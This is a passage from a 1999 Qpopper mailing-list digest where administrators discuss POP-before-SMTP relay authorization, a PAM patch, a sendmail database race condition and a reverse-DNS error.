management do you want to do?
Wondering...
Chris
------------------------------------------------------------
Christopher L. Davis Systems and Network Administrator
The Principia PHONE: (314)-434-2100
13201 Clayton Road FAX: (314)-275-3538
St. Louis, MO 63131 INTERNET: cld at prin dot edu
Date: Thu, 2 Dec 1999 21:29:23 -0500
From: Mike Diehn <mdiehn at vicinity dot com>
Subject: Re: POP-before-SMTP
I just finished implementing this. The system I put together
reads the popd/imapd log file and writes a db file that the SMTP
daemon reads to decide if it should honor relay requests.
I'm using the Uwash POP/IMAPD server, but I had it running with
the most recent Qpopper server, and modifying the parser/recorder
script is trivial.
I'm using Postfix as my SMTP system, but this will work with
sendmail just as well.
Someone wrote ina response that SMTP authentication is a better
way to ensure only authorized people use your mail system, and I
agree. For us, though, this worked, solved the problem at hand
and was easy enough to implement that it's the best solution for
us for now. As always, it's a balancing act, eh? Time vs.
perfection.
If you want details, hollar.
Regards,
-- Mike
--
---------------------------------------------------------------------
Mike Diehn 603.448.7040 219
Sr. Network Engineer mdiehn at vicinity dot com
Vicinity Corporation www.vicinity.com
---------------------------------------------------------------------
* Julien Nadeau (julien at csoft dot net) [12 02, 1999 13:10]:
> Hello,
>
> I've been working on a simple POP-before-SMTP implementation for QPopper
> 3.0b22,
> it basically writes an 'ipaddress RELAY # user=username client=hostname'
> line to
> a file (can be specified with configure option). For those who don't
> know what
> POP-before-SMTP is about, it basically allows users who authenticated
> via POP3
> to use the mail server as a relay (= sending mail to an external address
> using
> the local mail exchanger) -- particularly for ISP's, this can be a good
> help at
> eliminating SPAM, and also the commented out section can help tracking
> down local
> spammers.
>
> A script can then take these entries and add them to whatever access
> database the
> MTA is using.
>
> Anyone here interested? Was this done before? (specifically for
> QPopper, I know there
> are other POP-before-SMTP implementations out there but they're not
> flexible or secure
> enough).
>
>
> -- Julien Nadeau
> POC Research, CubeSoft Communications
Date: Fri, 3 Dec 1999 15:50:33 +1300 (NZDT)
From: Alan Brown <alan at manawatu.gen dot nz>
Subject: Re: POP-before-SMTP
On Thu, 2 Dec 1999, Julien Nadeau wrote:
> I work for an ISP which hosts thousands of people and I can
> guarantee you a lot of clients don't even know what SMTP means; many
> e-mail clients still don't support SMTP authentication and my
> opinion. Large ISPs need a transparent solution to e-mail relaying;
> POP-before-SMTP provides that.
There's nothing stopping you providing pop-before-smtp AND authenticated
smtp simultaneously. Use of one mechanism doesn't prevent using the
other as well.
AB
Date: Fri, 03 Dec 1999 14:43:46 +1100
From: Jonathan Benson <sysadmin at ocean.com dot au>
Subject: Re: Qpopper 3.0b22 and PAM patch?
As a followup to my own message and to keep it short.
The b18 PAM patch does work on b22.
No reply as yet as to why the PAM patch hasn't been worked in to the main
distribution.
Jon
--
Jonathan Benson
Systems Administrator
Ocean Internet
http://www.ocean.com.au/
Date: Fri, 3 Dec 1999 04:39:35 -0500
From: Tomasz Orzechowski <tmo at apk dot net>
Subject: Re: POP-before-SMTP
Look ad DRAC, at http://mail.cc.umanitoba.ca/drac/
Perhaps this is what you want. And it looks promising from the
pages, haven't tried it in a production environment, but will soon...
Julien Nadeau wrote on Thu, Dec 02, 1999 at 10:04:15AM -0400:i
> Hello,
>
> I've been working on a simple POP-before-SMTP implementation for QPopper
> 3.0b22,
> it basically writes an 'ipaddress RELAY # user=username client=hostname'
> line to
> a file (can be specified with configure option). For those who don't
> know what
> POP-before-SMTP is about, it basically allows users who authenticated
> via POP3
> to use the mail server as a relay (= sending mail to an external address
> using
> the local mail exchanger) -- particularly for ISP's, this can be a good
> help at
> eliminating SPAM, and also the commented out section can help tracking
> down local
> spammers.
>
> A script can then take these entries and add them to whatever access
> database the
> MTA is using.
>
> Anyone here interested? Was this done before? (specifically for
> QPopper, I know there
> are other POP-before-SMTP implementations out there but they're not
> flexible or secure
> enough).
>
>
> -- Julien Nadeau
> POC Research, CubeSoft Communications
--
Tomasz Orzechowski tmo at apk dot net
APK.net systems administration team TO630
Date: Fri, 03 Dec 1999 04:44:46 -0500
From: Forrest Aldrich <forrie at forrie dot com>
Subject: Re: POP-before-SMTP
Beware, in certain situations there can be, with sendmail, race conditions
when writing to the *.db file. I've been bitten by this. I believe
sendmail 8.10 has resolved this problem. It may also have to do with older
db library code. Not sure.
_F
At 04:39 AM 12/3/99 -0500, Tomasz Orzechowski wrote:
>Look ad DRAC, at http://mail.cc.umanitoba.ca/drac/
>Perhaps this is what you want. And it looks promising from the
>pages, haven't tried it in a production environment, but will soon...
>
>Julien Nadeau wrote on Thu, Dec 02, 1999 at 10:04:15AM -0400:i
> > Hello,
> >
> > I've been working on a simple POP-before-SMTP implementation for QPopper
> > 3.0b22,
> > it basically writes an 'ipaddress RELAY # user=username client=hostname'
> > line to
> > a file (can be specified with configure option). For those who don't
> > know what
> > POP-before-SMTP is about, it basically allows users who authenticated
> > via POP3
> > to use the mail server as a relay (= sending mail to an external address
> > using
> > the local mail exchanger) -- particularly for ISP's, this can be a good
> > help at
> > eliminating SPAM, and also the commented out section can help tracking
> > down local
> > spammers.
> >
> > A script can then take these entries and add them to whatever access
> > database the
> > MTA is using.
> >
> > Anyone here interested? Was this done before? (specifically for
> > QPopper, I know there
> > are other POP-before-SMTP implementations out there but they're not
> > flexible or secure
> > enough).
> >
> >
> > -- Julien Nadeau
> > POC Research, CubeSoft Communications
>
>--
>Tomasz Orzechowski tmo at apk dot net
>APK.net systems administration team TO630
Date: Fri, 3 Dec 1999 14:06:19 -0500 (EST)
From: Steve Lincoln <slinco01 at studentweb.providence dot edu>
Subject: More on canonical
Greetings again,
I implemented some of the changes suggested and made sure that the hosts
file was correct which it was. Also, qpopper can indeed access the dns
server since it is set to access the one outside our firewall. (two dns,
one internal one external). However the error messages still occur,
every minute and a half or so. Would it be worth my time to upgrade to
the newest 3.0? Or is there something else to look for? I don't know if
I follow this reverse dns lookup? anyone able to help.
Thanks,
Steve